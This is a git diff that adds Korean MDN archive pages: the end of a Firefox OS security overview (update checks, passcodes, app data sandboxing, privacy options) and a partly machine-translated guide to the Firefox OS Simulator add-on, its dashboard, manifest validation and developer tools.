+</ul>
+<p>Rigorous checks are in place to ensure that the update is applied properly to the mobile phone.<br>
+ The complete update package must be downloaded in a specific and secure location before the update process begins. Installation does not overwrite any user data.</p>
+<h1 id="기기_보안(하드웨어)">기기 보안(하드웨어)</h1>
+<p>Security mechanisms for the mobile device hardware are typically handled by the OEM. For example, an OEM might offer SIM (Subscriber Identity Module) card locks, along with PUK (PIN Unlock Key) codes to unlock SIM cards that have become locked following incorrect PIN entries. Contact the OEM for details. Firefox OS does allow users to configure passcodes and timeout screens, which are described in the next section.</p>
+<h1 id="데이터_보안">데이터 보안</h1>
+<p>Users can store personal data on their phone that they want to keep private, including contacts, financial information (bank &amp; credit card details), passwords, calendars, and so on. Firefox OS is designed to protect against malicious apps that could steal, exploit, or destroy sensitive data.</p>
+<h2 id="비밀번호와_자동으로_꺼지는_화면">비밀번호와 자동으로 꺼지는 화면</h2>
+<p>Firefox OS allows users to set a passcode to their mobile phone so only those who supply the passcode can use the phone. Firefox OS also provides a timeout screen that is displayed after a configurable period of phone inactivity, requiring passcode authentication before resuming use of the phone.</p>
+<h2 id="샌드박스화된_데이터">샌드박스화된 데이터</h2>
+<p>As described earlier, apps are sandboxed at runtime. This prevents apps from accessing data that belongs to other apps <em>unless</em> that data is explicitly shared, and the app has sufficient permissions to access it.</p>
+<h2 id="시리얼화된_데이터">시리얼화된 데이터</h2>
+<p>Web apps do not have direct read and write access to the file system. Instead, all access to storage occurs only through Web APIs. Web APIs read from, and write to, storage via an intermediary SQLite database. There is no direct I/O access. Each app has its own data store, which is serialized to disk by the database.</p>
+<h2 id="데이터_파기">데이터 파기</h2>
+<p>When a user uninstalls an app, all of the data (cookies, localStorage, Indexeddb, and so on) associated with that application is deleted.</p>
+<h2 id="프라이버시">프라이버시</h2>
+<p>Mozilla is committed to protecting user privacy and user data according to its privacy principles (<a href="https://www.mozilla.org/privacy/">https://www.mozilla.org/privacy/</a>), which stem from the Mozilla Manifesto (<a href="https://www.mozilla.org/about/manifesto.html">https://www.mozilla.org/about/manifesto.html</a>). The Mozilla Firefox Privacy Policy describes how Mozilla collects and uses information about users of the Mozilla Firefox web browser, including what Firefox sends to websites, what Mozilla does to secure data, Mozilla data practices, and so on. For more information, see:</p>
+<ul>
+ <li><a href="http://www.mozilla.org/en-US/legal/privacy/firefox.html">http://www.mozilla.org/en-US/legal/privacy/firefox.html</a></li>
+ <li><a href="https://blog.mozilla.org/privacy/">https://blog.mozilla.org/privacy/</a></li>
+ <li><a href="http://support.mozilla.org/en-US/kb/privacy-and-security-settings-firefox-os-phones">http://support.mozilla.org/en-US/kb/privacy-and-security-settings-firefox-os-phones</a></li>
+</ul>
+<p>Firefox OS는 이런 원칙들을 어디에 자신의 개인 정보가 갈지 결정하는 유저들에게 제어권을 줌으로서 적용합니다. Firefox OS는 다음과 같은 기능들을 제공합니다:</p>
+<ul>
+ <li>Do Not Track 옵션</li>
+ <li>Firefox Browser의 cooking 옵션을 끌수있는 옵션</li>
+ <li>Firefox의 웹 브라우징 기록들을 지울수 있는 옵션</li>
+</ul>
diff --git a/files/ko/archive/b2g_os/simulator/index.html b/files/ko/archive/b2g_os/simulator/index.html
new file mode 100644
index 0000000000..0250696f04
--- /dev/null
+++ b/files/ko/archive/b2g_os/simulator/index.html
@@ -0,0 +1,280 @@
+---
+title: Firefox OS 시뮬레이터
+slug: Archive/B2G_OS/Simulator
+translation_of: Archive/B2G_OS/Simulator
+---
+<div class="note">
+ <p><span id="result_box" lang="ko"><span class="hps atn">Firefox OS 시뮬레이터는</span> <span class="hps">아직</span> <span class="hps atn">개발 초기 단계</span><span>입니다. </span><span class="hps atn">저희가 원하는</span><span class="atn">만큼</span><span>의 안정성과</span> <span class="hps atn">완성도</span><span>가</span> <span class="hps">없습니다.</span></span></p>
+ <p>버그를 발견하셨다면 <a href="https://github.com/mozilla/r2d2b2g/issues?state=open">GitHub에 보고</a> 해주세요. 만약에 물어보실게 있으시다면 <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">개발자 도구 메일링 리스트</a>나<a href="irc://irc.mozilla.org/#devtools"> irc.mozilla.org의 #devtools</a>에서 질문해 주세요.</p>
+ <p>도움 받기 항목의 Verbose logging을 활성화 하는 방법과 최신 빌드를 받는 법을 읽어 주세요.</p>
+</div>
+<p><span id="result_box" lang="ko"><span class="hps">Firefox OS 시뮬레이터</span> <span class="hps atn">부가 기능</span><span>을 이용해</span> <span class="hps">데스크톱</span> <span class="hps atn">환경</span><span>에서</span> <span class="hps">Firefox OS</span> <span class="hps atn">응용 프로그램</span><span>을 테스트하고 디버깅</span> <span class="hps">할 수</span> <span class="hps">있습니다.</span> <span>시뮬레이터에서는</span> <span class="hps atn">실제 장치</span><span>를</span> <span class="hps">사용하는 것보다도</span> <span class="hps atn">Code</span><span class="atn">-</span><span class="atn">Test</span><span class="atn">-</span><span class="atn">Debug </span><span>주기가</span> <span class="hps atn">빨라집니다</span><span>.</span> <span class="hps">또한</span> <span class="hps">당연히</span> 시뮬레이터를 <span class="hps">사용하기 위해</span> <span class="hps">실제</span> <span class="hps">디바이스가 필요</span> <span class="hps">없습니다.</span></span></p>
+<p><span class="short_text" id="result_box" lang="ko"><span class="hps">근본적으로,</span> <span class="hps">시뮬레이터 부가 </span><span class="hps atn">기능</span><span>을</span> <span class="hps">구성하는 것은</span> <span class="hps">다음과 같습니다</span> <span class="hps">:</span></span></p>
+<ul>
+ <li><strong>시뮬레이터</strong>:<span id="result_box" lang="ko"><span class="hps">여기에는</span> <span class="hps">Firefox OS</span> <span class="hps atn">데스크톱 클라이언트</span><span>가</span> <span class="hps">포함되어</span> <span class="hps">있습니다.</span> <span class="hps">이것은</span> <span class="hps atn">데스크탑 환경</span><span>에서 실행되는</span> <span class="hps">Firefox OS</span> <span class="hps">고수준</span> <span class="hps">계층</span> <span class="hps">버전입니다.</span> 시뮬레이터<span>에는</span> <span class="hps">표준</span> <span class="hps">Firefox OS</span> <span class="hps atn">데스크톱 빌드</span><span class="atn">에는</span><span> 없는</span> <span class="hps">추가적인</span> <span class="hps">에뮬레이션</span> <span class="hps">기능도</span> <span class="hps">포함되어</span> <span class="hps">있습니다.</span></span></li>
+ <li><strong>대시보드</strong>: <span id="result_box" lang="ko"><span class="hps atn">시뮬레이터</span><span>의</span> <span class="hps">시작과 종료</span> <span class="hps">및 응용 프로그램의</span> <span class="hps">설치</span>,<span class="hps">제거</span> 및 <span class="hps">디버깅을</span> <span class="hps">가능하게하는</span> <span class="hps atn">Firefox 브라우저</span><span>에서</span> <span class="hps">제공하는</span> <span class="hps">도구입니다.</span> <span class="hps">또한</span> <span class="hps">Dashboard</span> <span class="hps atn">앱</span><span>을</span> <span class="hps">실제 디바이스에</span> <span class="hps atn">푸시</span><span>하거나</span> <span class="hps atn">앱 매니페스트</span><span>에 대한</span> <span class="hps">일반적인</span> <span class="hps">문제를 확인</span> <span class="hps">할</span> <span class="hps">수 있습니다.</span></span></li>
+</ul>
+<p><span class="short_text" id="result_box" lang="ko"><span class="hps">아래 스크린</span> <span class="hps atn">샷</span><span>은</span> 시뮬레이터를 <span class="hps">사용한</span> <span class="hps">디버깅 세션을</span> <span class="hps atn">보여줍니다</span><span>.</span></span></p>
+<p><span id="result_box" lang="ko"><span class="hps">Dashboard</span>는 오른쪽 상단의 Firefox 탭 안에서 돌아가고 있습니다<span class="hps">.</span> <span class="hps">여기에</span> <span class="hps atn">"</span><span class="atn">Where am I</span><span class="atn">?</span><span class="atn">"</span><span>라는 이름의 패키지</span><span class="hps">형</span> <span class="hps atn">애플리케이션</span><span>을</span> <span class="hps atn">추가</span><span>했습니다.</span> <span>상좌단의 앱은 시뮬레이터를 돌리고 있습니다.</span> <span class="hps">또한</span> 아래쪽의 패널에서 보시다시피 <span class="hps">디버깅</span> <span class="hps">도구와</span> <span class="hps atn">연결</span><span>하고 있습니다. </span><span class="hps">콘솔</span> <span class="hps">창에</span> <span class="hps">앱에 대한</span> <span class="hps">메시지가</span> <span class="hps atn">표시</span><span>되는</span> <span class="hps atn">것을</span><span>보실 수</span> <span class="hps">있습니다.</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5513/Simulator-overview-4.0.png"></p>
+<p>이 가이드는 다음과 같은 주제를 다룹니다:</p>
+<ul>
+ <li><a href="#시뮬레이터 설치하기" title="#Installing">시뮬레이터 부가 기능을 설치하기</a></li>
+ <li><a href="#Adding-updating-removing" title="#Adding-updating-removing">앱을 추가하고-제거하고-새로고침하기</a></li>
+ <li><a href="#Manifest-validation" title="#Manifest-validation">manifest validation</a></li>
+ <li><a href="#Running-the-Simulator" title="#Running-the-Simulator">how to run the Simulator</a></li>
+ <li><a href="#Attaching-developer-tools" title="#Attaching-developer-tools">how to connect developer tools such as the JS debugger to apps running in the Simulator</a></li>
+ <li><a href="#Simulator-receipts" title="#Simulator-receipts">how to get test receipts for a paid app</a></li>
+ <li><a href="#Push-to-device" title="#Push-to-device">how to push apps to a connected device</a></li>
+ <li><a href="#Limitations" title="#Limitations">the limitations of the Simulator compared with a real Firefox OS device</a></li>
+</ul>
+<div class="note">
+ <span id="result_box" lang="ko"><span class="hps">실제</span> <span class="hps">Web</span> <span class="hps atn">응용 프로그램</span><span>을 디버깅하는데 </span> <span class="hps">Simulator를</span> <span class="hps">사용하는 방법을</span> <span class="hps">보여주는</span> <span class="hps">실질적인</span> <span class="hps">자세한</span> <span class="hps">설명은</span> <span class="hps">Simulator Walkthrough</span> <span class="hps atn">페이지</span><span>를 참조하십시오.</span></span></div>
+<h2 id="Installing_the_Simulator_add-on" name="Installing_the_Simulator_add-on"><a name="시뮬레이터 설치하기">시뮬레이터 설치하기</a></h2>
+<p><span id="result_box" lang="ko"><span title="Simulator は、Firefox のアドオンとしてパッケージ化および頒布しています。">시뮬레이터 는 Firefox 부가 기능 에서 배포 하고 있습니다 . </span><span title="インストール方法は以下のとおりです:">설치 방법은 다음과 같습니다 :</span></span><br>
+  </p>
+<ol>
+ <li><span title="Firefox で addons.mozilla.org 内の Simulator のページを訪れてください。">Firefox에서 addons.mozilla.org 에서 시뮬레이터 페이지 를 방문 하십시오.</span></li>
+ <li><span lang="ko"><span title='"Firefox に追加" をクリックしてください。'>"Firefox 에 추가" 를 클릭 하십시오.</span></span></li>
+ <li><span lang="ko"><span title='"Firefox に追加" をクリックしてください。'> </span><span title='アドオンをダウンロードすると確認のメッセージが表示されますので、"今すぐインストール" をクリックしてください。'>기능을 다운로드 한뒤 확인 메시지가 표시 되면 " 지금 설치 " 를 클릭 하십시오.</span></span></li>
+</ol>
+<p><br>
+ <span lang="ko"><span title='アドオンのサイズの都合上、インストール中に Firefox が数秒間フリーズしたり、"警告: 応答のないスクリプト" というタイトルのダイアログが表示される場合があります。'>부가 기능의 크기가 큰 관계로 설치 중에 Firefox가 몇 초 동안 정지되거나 "경고 : 응답하지 않는 스크립트" 라는 제목의 대화 상자가 표시 될 수 있습니다. </span><span title='ダイアログが表示された場合は、インストールが完了するまで待つために "処理を続行" をクリックしてください。'>대화 상자가 표시 되면 설치가 완료 될 때까지 기다리기 위하여 " 처리 를 계속 " 을 클릭 하십시오.</span><span title="この問題は bug 814505 で追跡しています。"> 이 문제는 Firefox 27부터 발생하지 않습니다.</span><br>
+ <br>
+ <span title="Simulator アドオンのインストールが完了すると、Firefox は定期的に新しいバージョンを確認して最新の状態を維持します。">시뮬레이터 부가 기능 의 설치 가 완료되면 Firefox는 정기적으로 새로운 버전을 확인 하여 최신 상태 를 유지 합니다.</span><br>
+ <br>
+ <span title='Simulator をインストールすると Dashboard が自動的に開きますが、"Firefox" メニュー (または OS X や Linux では "ツール" メニュー) の "Web 開発" で "Firefox OS Simulator" を選択することで、いつでも Dashboard を開く'>시뮬레이터를 설치 하면 대시보드가 자동으로 열리지 만 "Firefox" 메뉴 (OS X 및 Linux에서는 "도구" 메뉴 ) 의 "웹 개발 도구" 에서 " Firefox OS 시뮬레이터 " 를 선택하여 언제든지 대시보드를 열 </span><span title="ことができます:">수 있습니다 :</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5141/simulator-open-on-windows-7.png" style="margin-right: auto; margin-left: auto; display: block;"><br>
+ <span id="result_box" lang="ko"><span class="hps atn">아래 보여지는 대시보드는</span> <span class="hps">애플리케이션</span> 시뮬레이터에<span class="atn"> 추가</span><span class="atn">하고 실행</span><span class="atn">하는 데 사용</span><span>하는 도구입니다:</span></span><img alt="" src="https://mdn.mozillademos.org/files/5491/dashboard-4.0.png"></p>
+<h2 id="앱을_추가하고_제거하고_새로고침하기"><a name="추가하고-제거하고-새로고침하기">앱을 추가하고, 제거하고, 새로고침하기</a></h2>
+<h3 id="앱_추가하기">앱 추가하기</h3>
+<p><span id="result_box" lang="ko"><span title='パッケージ型アプリを Simulator に追加するには、Dashboard を開いて "Add Directory" をクリックします。'><a href="https://developer.mozilla.org/ko/docs/Apps/Packaged_apps">패키지 형 응용 프로그램</a>을 시뮬레이터 에 추가 하려면 대시보드를 열고 " Add Directory " 를 클릭합니다. </span><span title="そして、アプリのマニフェストファイルを選択してください。">그리고 앱의 <a href="https://developer.mozilla.org/ko/docs/Web/Apps/Developing/Manifest/Manifest">매니페스트 파일</a>을 선택 하십시오.</span><br>
+ <br>
+ <span title='ホスト型アプリを追加するには、"URL for page or manifest.webapp" と表示されているテキストボックスに URL を入力して "Add URL" をクリックしてください。'>호스트 형 응용 프로그램을 추가 하려면 " URL for page or manifest.webapp "라고 표시 되는 텍스트 상자에 URL 을 입력 하고 " Add URL " 을 클릭 하십시오. </span><span title="URL がマニフェストを指している場合は、そのマニフェストが使用されます。">URL이 매니페스트를 가리키는 경우 해당 매니페스트가 사용 됩니다. </span><span title="そうでない場合は、Dashboard が当該 URL 向けのマニフェストを生成します: よって、URL を入力するだけで任意の Web サイトをアプリとして追加できます。">그렇지 않은 경우 는 Dashboard 가 해당 URL 위한 매니페스트를 생성 합니다 : 따라서, URL을 입력 하는 것만으로 모든 Web 사이트를 앱 으로 추가 할 수 있습니다 .</span><br>
+ <br>
+ <span title="アプリを追加すると、Dashboard がマニフェストファイルに対して一連のテストを行って、一般的な問題のチェックを行います。">앱 을 추가 하면 대시보드가 매니페스트 파일 에 대해 일련 의 테스트 를 수행하여 일반적인 문제를 확인 합니다. </span><span title="どのようなテストを行うかについて詳しくは、マニフェストの検証の章をご覧ください。">어떤 테스트 를 실시할지 에 대한 자세한 내용 은 매니페스트 검증 섹션을 참조하십시오.</span><br>
+ <br>
+ <span title="マニフェストの検証でアプリにエラーが発見されなければ、Dashboard は自動的に Simulator でアプリを実行します。">매니페스트 유효성 검사 응용 프로그램 오류가 발견 되지 않으면 대시보드는 자동으로 시뮬레이터에서 응용 프로그램을 실행 합니다.</span></span></p>
+<h3 id="앱_관리하기">앱 관리하기</h3>
+<p><span class="short_text" id="result_box" lang="ko"><span class="hps atn">앱</span><span>을</span> <span class="hps atn">추가</span><span>하면</span> <span class="hps atn">매니저</span><span>에서</span> <span class="hps">설치된</span> <span class="hps atn">응용 프로그램 목록</span><span class="atn">에 표시</span><span>됩니다</span> <span class="hps">:</span></span><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5493/dashboard-list-apps-4.0.png"><br>
+ <span class="short_text" id="result_box" lang="ko"><span class="hps">각</span> <span class="hps">항목은</span> <span class="hps">앱에 대한</span> <span class="hps">다음과 같은 </span><span class="hps">정보를</span> <span class="hps">보여줍니다:</span></span></p>
+<ul>
+ <li>매니페스트 내에 써 있는 앱의 이름</li>
+ <li>앱의 타입(패키지형, 호스팅형, 생성형)</li>
+ <li>매니페스트 파일로의 링크</li>
+ <li>매니페스트 검증의  결과</li>
+</ul>
+<p>또 다음과 같은 네개의 명령을 제공합니다.</p>
+<ul>
+ <li><strong>"Refresh":</strong> <span id="result_box" lang="ko"><span class="hps atn">앱</span><span class="atn">에 대한 변경</span><span>을 한</span> <span class="hps">후</span> 시뮬레이터 <span class="hps">응용 프로그램을</span> <span class="hps">업데이트</span> <span class="hps">및</span> <span class="hps atn">다시 로드</span><span>합니다.</span> <span class="hps">또한</span> 대시보드에서 <span class="hps">매니페스트</span> 검증을 <span class="hps atn">다시 실행</span><span>합니다.</span> <span>앱에 어떤 수정을 가해도 바로 변경 사항이 적용되지 않습니다</span> <span class="hps">:</span> <span class="hps atn">변경 사항</span><span>을</span> <span class="hps atn">적용</span><span>하기 위해</span> <span class="hps atn">응용 프로그램</span><span>의</span> <span class="hps atn">업데이트</span><span>가 필요합니다.</span></span></li>
+ <li><strong>"Connect":<span id="result_box" lang="ko"><span class="hps"> </span></span></strong><span lang="ko"><span class="hps">선택한</span> <span class="hps">애플리케이션</span>의<span class="hps"> 개발</span> <span class="hps atn">도구</span><span>에</span> <span class="hps">연결합니다.</span> <span class="hps atn">앱</span><span>을</span> <span class="hps atn">실행</span><span>하지 않는</span> <span class="hps">경우</span> <span class="hps atn">대시보드가</span> 시뮬레이터 <span class="hps">및</span> <span class="hps atn">응용 프로그램을 자동으로 시작</span><span>합니다.</span></span></li>
+ <li><strong>"Remove" ("X"):</strong> <span id="result_box" lang="ko"><span class="hps">애플리케이션</span>을 시뮬레이터 <span class="hps">및</span> 대시보드에서 <span class="hps">삭제합니다.</span> 대시보드를<span class="atn"> 열고</span><span class="atn">있는 동안</span><span class="atn">에는 작업</span><span>을</span> <span class="hps">실행취소 할 수</span> <span class="hps">있습니다.</span></span></li>
+ <li><strong>"Receipt":</strong> 유료 앱의<span id="result_box" lang="ko"> <span class="hps">영수증</span> <span class="hps">검증</span> <span class="hps atn">테스트</span><span>를</span> <span class="hps">수행합니다.</span> <span class="hps">테스트하려는</span> <span class="hps atn">영수증</span><span>의</span> <span class="hps atn">종류</span><span>를</span> <span class="hps atn">선택</span><span>하면</span> <span class="hps">테스트</span> <span class="hps atn">영수증</span><span>과 함께</span> <span class="hps">응용 프로그램을 다시</span> <span class="hps atn">설치</span><span>합니다.</span></span></li>
+</ul>
+<div class="note">
+ <p><span id="result_box" lang="ko"><strong><span class="hps">시뮬레이터</span> <span class="hps">창에서</span> <span class="hps">애플리케이션</span> </strong><span class="hps"><strong>업데이트</strong> :</span> <span class="hps atn">애플리케이션</span><span>을</span> <span class="hps">실행하는</span> <span class="hps">경우 메뉴</span> <span class="hps atn">바</span><span>에서</span> <span class="hps">작업</span> <span class="hps">또는</span> <span class="hps">할당 된</span> <span class="hps">바로 가기</span> <span class="hps">키로 </span><span class="hps">시뮬레이터 </span><span class="hps">창에서</span> <span class="hps atn">직접 응용 프로그램</span><span>을</span> <span class="hps">업데이트</span> <span class="hps">및</span> <span class="hps">다시로드</span> <span class="hps">할 수 있습니다.</span></span></p>
+</div>
+<h3 id="매니페스트_검증"><a name="매니페스트 인증">매니페스트 검증</a></h3>
+<p><span id="result_box" lang="ko"><span title="マニフェストを与えると、Manager はマニフェストの検証テストをいくらか実行します。">매니페스트를 제출하면 매니저는 매니페스트 여러개의 검증 테스트를 실행 합니다. 검증 테스트는</span><span title="これは、3 つのカテゴリについて問題を報告します:"> 세 가지 범주 에 대해 문제를 보고합니다 :</span></span><br>
+  </p>
+<ul>
+ <li><span title="manifest errors: アプリのインストールや実行ができなくなる問題です。">manifest errors : 응용 프로그램을 설치 및 실행을 할 수가 없게되는 문제입니다.</span></li>
+ <li><span lang="ko"><span title="manifest warnings: アプリの正常な動作を妨げる問題です。">manifest warnings : 응용 프로그램 의 정상적인 작동을 방해</span></span>하는 문제입니다.</li>
+ <li><span lang="ko"><span title="simulator-specific warnings: アプリが使用している機能で、Simulator が未サポートであるものです。">simulator - specific warnings : 응용 프로그램이 사용하는 기능중에 시뮬레이터가 제공하지 않는 기능이 있는 경우입니다.</span></span></li>
+</ul>
+<p>이것은 앱 의 항목에 발생한 문제의 간략적인 정보를 제공합니다 : 요약된 항목을 클릭 하면 세부 정보가 표시 됩니다.</p>
+<h4 id="매니페스트_에러">매니페스트 에러</h4>
+<p>대시보드 는 다음과 같은 상황을 오류로 보고 합니다. 이 문제를 해결 하지 않으면 해당 응용 프로그램은 시뮬레이터에서 실행되지 않을 것입니다:</p>
+<ul>
+ <li>매니페스트 필수 필드 " name " 이 없다.</li>
+ <li>매니페스트가 올바른 JSON가 아니다.</li>
+ <li>응용 프로그램은 호스트형 애플리케이션 이지만, 매니페스트의 type 필드를 패키지형에만 사용할수 있는 " privileged " 또는 " certified " 이다.</li>
+ <li>일반적인 appCache 오류 (패키지 형 응용 프로그램은 appCache 를 사용할수 없습니다. 매니페스트 파일을 요청하면 HTTP 리디렉션 또는 HTTP 오류 상태를 반환할 것입니다.)</li>
+</ul>
+<p>다음은 매니페스트 필수 필드 "name"이 없는 매니페스트를 추가하려고 할 때의 예시입니다.<br>
+ <img alt="" src="https://mdn.mozillademos.org/files/5495/dashboard-missing-name-4.0.png"></p>
+<h4 id="매니페스트_경고">매니페스트 경고</h4>
+<p>대시보드는 다음과 같은 매니페스트 이슈들의 대한 경고를 보고할 것입니다:</p>
+<ul>
+ <li>아이콘이 없음</li>
+ <li>아이콘이 128픽셀보다 작음: Marketplace에 올려지는 모든 앱들은 최소 128픽셀의 1개의 아이콘을 가져야 합니다.</li>
+ <li> <a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">type</a>필드가 인식되지 않습니다.</li>
+ <li>매니페스트가 알려지지 않은 <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a>(권한)을 요구한다.</li>
+ <li>매니페스트가 거부될 <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a>(권한)을 요구한다.</li>
+ <li>접근할수 있는지 규정할수 없는 <a href="/en-US/docs/Apps/Manifest#permissions" title="/en-US/docs/Apps/Manifest#permissions">permission</a>(권한)을 요구한다.</li>
+</ul>
+<h4 id="시뮬레이터_한정_경고들">시뮬레이터 한정 경고들</h4>
+<p>마지막으로, 매니저는 앱이 사용하는 Firefox OS 기능중 시뮬레이터에서 완벽하게 지원되지 않는 기능들에 관해서 경고를 할 것입니다:</p>
+<ul>
+ <li><a href="/en-US/docs/Apps/Manifest#type" title="/en-US/docs/Apps/Manifest#type">type</a> 필드가 인증됨(certified)일 경우, 인증된 앱들은 시뮬레이터에서 완벽하게 지원하지 않습니다.</li>
+ <li>앱이 요구하는 API로의 permission(권한)중 시뮬레이터가 아직 지원하지 않는 API가 있을때</li>
+</ul>
+<h2 id="시뮬레이터_돌리기"><a name="시뮬레이터 돌리기">시뮬레이터 돌리기</a></h2>
+<p>시뮬레이터를 실행시키는 방법엔 다음과 같은 두가지 방법이 있습니다:</p>
+<ul>
+ <li>만약에 앱을 추가하셨거나 앱 추가 옆에 있는  "Refresh"나 "Connect" 버튼을 다음에 클릭하셨으면, 대시보드는 자동으로 추가하신 앱이 띄워저 있는 시뮬레이터를 실행할 것입니다.</li>
+ <li>만약에 대시보드의 좌측에 있는 "Stopped"를 클릭하신다면, 시뮬레이터는 홈 스크린으로 시작할 것이며, 여러분은 수동적으로 여러분의 앱을 실행시켜야 합니다.</li>
+</ul>
+<p>어떤 방법을 쓰던지와 상관 없이 시뮬레이터가 작동하기 시작되면, "Stopped"라고 써 있던 버튼이 초록색으로 된 "Running"라고 써 있는 버튼이 됩니다. 시뮬레이터를 정지하실려면 이 버튼을 한번 더 클릭해 주세요.<br>
+  </p>
+<p>시뮬레이터는 320x480 픽셀의 시뮬레이션된 화면과 하단에 툴바와 상단에 메뉴바를 가지는 분리된 새로운 창으로 나타납니다:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5505/simulator-bars.png" style="margin-right: auto; margin-left: auto; display: block;"></p>
+<p>터치 이벤트를 시뮬레이션 하기 위해서는 마우스 버튼 클릭을 유지하면서 드래그 해 주세요. 홈스크린에서 오른쪽으로부터 왼쪽으로 클릭하시고 드래그 하시는걸 통해서 여러분은 여러분이 추가한 앱들과 내장된 앱들을 보실수 있습니다:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5517/simulator-homescreen.png"></p>
+<h3 id="시뮬레이터_툴바"><a name="시뮬레이터 툴바">시뮬레이터 툴바</a></h3>
+<p>하단 툴바에는 왼쪽에서부터 오른쪽으로 <strong>홈 버튼</strong>, <strong>스크린 회전 버튼</strong>, 그리고<strong> Geolocation 버튼</strong>이 있습니다.</p>
+<ul>
+ <li><strong>홈 버튼</strong>은 여러분을 홈 스크린으로 데리고 갑니다(혹은 길게 몇초간 누르시면 최근 태스크 리스트로 데리고 갑니다)</li>
+ <li><strong>스크린 회전 버튼</strong>은 시뮬레이터 화면의 방향을 가로나 세로로 변경합니다. 이 버튼은 <a href="https://developer.mozilla.org/en-US/docs/WebAPI/Managing_screen_orientation#Listening_orientation_change" title="/en-US/docs/WebAPI/Detecting_device_orientation">orientationchange</a> 이벤트를 일으킬 것입니다.</li>
+ <li><strong>Geolocation 버튼</strong>은 여러분의 위치나 따로 지정한 위치를 물어보게 합니다: 이 위치는 <a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Geolocation API</a>을 이용해 여러분의 앱에서 설정할수 있습니다.</li>
+</ul>
+<p><a href="https://mdn.mozillademos.org/files/5511/simulator-geolocation.png"><img alt="" src="https://mdn.mozillademos.org/files/5511/simulator-geolocation.png" style="width: 520px; height: 309px;"></a><a href="https://mdn.mozillademos.org/files/5519/simulator-screen-orientation.png"><img alt="" src="https://mdn.mozillademos.org/files/5519/simulator-screen-orientation.png" style="width: 500px; height: 297px;"></a></p>
+<h3 id="시뮬레이터_메뉴바"><a name="시뮬레이터 메뉴바"></a>시뮬레이터 메뉴바</h3>
+<p>상단 메뉴바에서는 여러분은 개발을 더 효율적으로 만들수 있게 해주는 여러 명령들을 쓰실수 있습니다.</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5525/simulator-menubar.png"></p>
+<ul>
+ <li><strong>File -&gt; Quit</strong> (<em>Ctrl/Cmd - Q</em>): 시뮬레이터를 종료합니다.</li>
+ <li><strong>App -&gt; Refresh</strong> (<em>Ctrl/Cmd - R</em>): 시뮬레이터를 새로고침합니다.</li>
+</ul>
+<p>"<strong>App Refresh</strong>"를 실행하는 키보드 단축키는 앱을 웹 페이지처럼 반복적으로 개발하는걸 가능하게 합니다:</p>
+<ul>
+ <li>코드에 대한 변경을 만듬 (그리고 필요하다면 빌드 툴을 다시 동작함, e.g. volo / yeoman / grunt)</li>
+ <li>키보드 단축키를 입력하셔서 시뮬레이터에서 실행중인 앱을 새로 고침한다.</li>
+</ul>
+<div class="note">
+ <p><strong>"앱을 새로 고침하고 데이터를 제거하기" 숨겨진 지름길:</strong> 가끔씩 시뮬레이터가 앱을 위해서 저장한 데이터를 초기화 시키는게 도움이 될 때도 있습니다, 그래서 시뮬레이터는 이와 관련된 숨겨진 단축키를 가지고 있습니다. <em>Shift - Ctrl/Cmd - R를 이용하면 시뮬레이터는 다음과 같은 여러 데이터를 초기화한뒤 앱을 새로 고침할 것입니다:</em></p>
+ <ul>
+  <li>
+   <p>로컬 스토리지 / 세션 스토리지</p>
+  </li>
+  <li>
+   <p>쿠키</p>
+  </li>
+  <li>
+   <p>인덱스된 DB</p>
+  </li>
+  <li>
+   <p>앱 캐시</p>
+  </li>
+ </ul>
+</div>
+<h2 id="개발자_도구들과_연결하기"><a name="개발자 도구들과 연결하기">개발자 도구들과 연결하기</a></h2>
+<p>여러분의 앱의 디버깅에 도움을 주기 위해 여러가지 개발자 도구들을 시뮬레이터 연결하실수 있습니다. 지금부로는 오직 <a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a>, <a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a>, <a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a>, <a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Profiler">Profiler</a> 그리고 <a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Tools/Network_Monitor">Network Monitor</a>만 연결할수 있지만, 저희는 더 많은 <a href="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window" title="https://developer.mozilla.org/en-US/docs/Tools/DevTools_Window">developer tools</a>을 연결할수 있도록 노력중입니다.</p>
+<div class="geckoVersionNote">
+ <p>이 중에 몇몇 툴은 파이어폭스의 베타, Aurora 혹은 Nightly builds 버전에서만 이용하실수 있습니다.</p>
+</div>
+<p>개발자 도구들을 시뮬레이터와 연결하실려면, <strong>"Connect" </strong>버튼을 클릭해 주세요:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5497/connect-to-app-button.png" style="margin-right: auto; margin-left: auto; display: block;"></p>
+<p>대시보드는 대시보드 하단에 개발자 도구 창을 열고 앱과 연결합니다:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/5501/simulator-devtools-connected.png" style="margin-right: auto; margin-left: auto; display: block;"></p>
+<h3 id="웹_콘솔">웹 콘솔</h3>
+<p>앱은 <a href="/en-US/docs/DOM/console" title="/en-US/docs/DOM/console">console</a> object(콘솔 객체)를 이용해 log를 남길수 있습니다. 웹 콘솔은 다음과 같은 앱이 작성한 메세지를 표시합니다: 네트워크 요구, CSS 그리고 J S 경고/오류, 보안 오류들. (<a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Learn more about the Web Console.</a>)</p>
+<h3 id="디버거">디버거</h3>
